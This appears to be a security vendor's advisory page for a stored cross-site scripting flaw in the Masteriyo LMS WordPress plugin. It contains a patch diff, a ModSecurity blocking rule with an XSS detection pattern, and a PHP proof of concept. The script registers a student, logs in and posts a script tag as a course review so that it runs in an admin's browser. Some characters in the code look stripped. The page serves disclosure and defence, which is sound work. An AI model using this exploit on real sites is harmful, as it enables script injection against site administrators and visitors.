-$themeisle_sdk_version = '3.3.71';
+$themeisle_sdk_version = '3.3.72';
 $themeisle_sdk_path    = dirname( __FILE__ );

 global $themeisle_sdk_max_version;
--- a/learning-management-system/vendor/codeinwp/themeisle-sdk/src/Modules/Support_hub.php
+++ b/learning-management-system/vendor/codeinwp/themeisle-sdk/src/Modules/Support_hub.php
@@ -90,8 +90,8 @@
 	const MAX_MESSAGE_LENGTH = 5000;

 	/**
-	 * Intended production URL, once the backend and public rewrite are deployed.
-	 * Delivery remains a dry run unless the endpoint filter supplies a URL.
+	 * Production URL of the tracking API, used unless the endpoint filter
+	 * supplies another one.
 	 */
 	const ENDPOINT = 'https://api.themeisle.com/tracking/support';

@@ -874,15 +874,16 @@
 	}

 	/**
-	 * Deliver to an explicitly configured endpoint. The empty default keeps
-	 * delivery a dry run: the payload is logged and returned to the browser.
+	 * Deliver to the tracking API. An endpoint filtered to an empty value
+	 * (QA sites, tests) makes it a dry run: the payload is logged and
+	 * returned to the browser.
 	 *
 	 * @param Payload $payload Message payload.
 	 *
 	 * @return DeliveryResult|WP_Error
 	 */
 	public static function deliver( $payload ) {
-		$endpoint = apply_filters( 'themeisle_sdk_support_hub_endpoint', '' );
+		$endpoint = apply_filters( 'themeisle_sdk_support_hub_endpoint', self::ENDPOINT );
 		if ( empty( $endpoint ) ) {
 			if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
 				error_log( '[TISDK_SUPPORT] ' . wp_json_encode( $payload ) ); //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
--- a/learning-management-system/vendor/composer/autoload_real.php
+++ b/learning-management-system/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7
+class ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/learning-management-system/vendor/composer/autoload_static.php
+++ b/learning-management-system/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7
+class ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb
 {
     public static $files = array (
         '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
@@ -602,9 +602,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$classMap;

         }, null, ClassLoader::class);
     }
--- a/learning-management-system/vendor/composer/installed.php
+++ b/learning-management-system/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'masteriyo/masteriyo-pro',
-        'pretty_version' => '3.5.1',
-        'version' => '3.5.1.0',
+        'pretty_version' => '3.5.2',
+        'version' => '3.5.2.0',
         'reference' => null,
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'codeinwp/themeisle-sdk' => array(
-            'pretty_version' => '3.3.71',
-            'version' => '3.3.71.0',
-            'reference' => 'cd7acfc0b01b8d5712736aa3721d689591ced991',
+            'pretty_version' => '3.3.72',
+            'version' => '3.3.72.0',
+            'reference' => '66036fa0ef8168f7e5a3f7bf06dc88733e1d46db',
             'type' => 'library',
             'install_path' => __DIR__ . '/../codeinwp/themeisle-sdk',
             'aliases' => array(),
@@ -119,8 +119,8 @@
             'dev_requirement' => false,
         ),
         'masteriyo/masteriyo-pro' => array(
-            'pretty_version' => '3.5.1',
-            'version' => '3.5.1.0',
+            'pretty_version' => '3.5.2',
+            'version' => '3.5.2.0',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129323
# Blocks Stored XSS via course review content parameter
# Targets the REST API endpoint for submitting course reviews and the 'content' parameter

SecRule REQUEST_URI "@beginsWith /wp-json/masteriyo/v1/course-reviews" 
    "id:20261293,phase:2,deny,status:403,chain,msg:'CVE-2026-129323: Stored XSS via Masteriyo course review content',severity:'CRITICAL',tag:'CVE-2026-129323'"
    SecRule ARGS:content "@rx <script|javascript:|onerrors*=|onloads*=" 
        "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129323 - Masteriyo LMS <= 3.5.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Course Review Content

// This proof-of-concept demonstrates the stored XSS vulnerability by:
// 1. Registering a new student account (if allowed)
// 2. Logging in to obtain authentication cookies
// 3. Submitting a course review with a malicious script in the 'content' parameter
// 4. The script will execute when an admin views the course page

$target_url = 'http://example.com'; // Change to your WordPress site URL
$course_id = 1; // Replace with a valid course ID
$username = 'student_' . rand(1000, 9999);
$password = 'Password123!';
$email = $username . '@example.com';

// Initialize cURL
$ch = curl_init();

// Step 1: Register a new student account (if self-registration is enabled)
$signup_url = $target_url . '/account/signup/';
$signup_data = [
    'username' => $username,
    'email' => $email,
    'password' => $password,
    'confirm_password' => $password,
    'first_name' => 'Test',
    'last_name' => 'Student',
    'masteriyo_register' => '1',
    'masteriyo_user_role' => 'masteriyo_student',
    '_wpnonce' => '' // May need to fetch nonce from the signup page
];

curl_setopt($ch, CURLOPT_URL, $signup_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($signup_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Log in with the new account (if registration successful)
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Step 3: Submit a course review with malicious script
$review_url = $target_url . '/wp-json/masteriyo/v1/course-reviews';
$review_data = [
    'course_id' => $course_id,
    'content' => '<script>alert("XSS");</script>', // Malicious payload
    'rating' => 5,
    'title' => 'Great course!'
];

curl_setopt($ch, CURLOPT_URL, $review_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($review_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Check response
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 201) {
    echo "Review submitted successfully. The XSS payload is now stored.n";
    echo "When an admin views the course page, the script will execute.n";
} else {
    echo "Failed to submit review. HTTP Code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);

// Note: This PoC assumes the REST API is accessible and the user has permission to submit reviews.
// The payload will execute in the browser of any user viewing the course reviews section.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.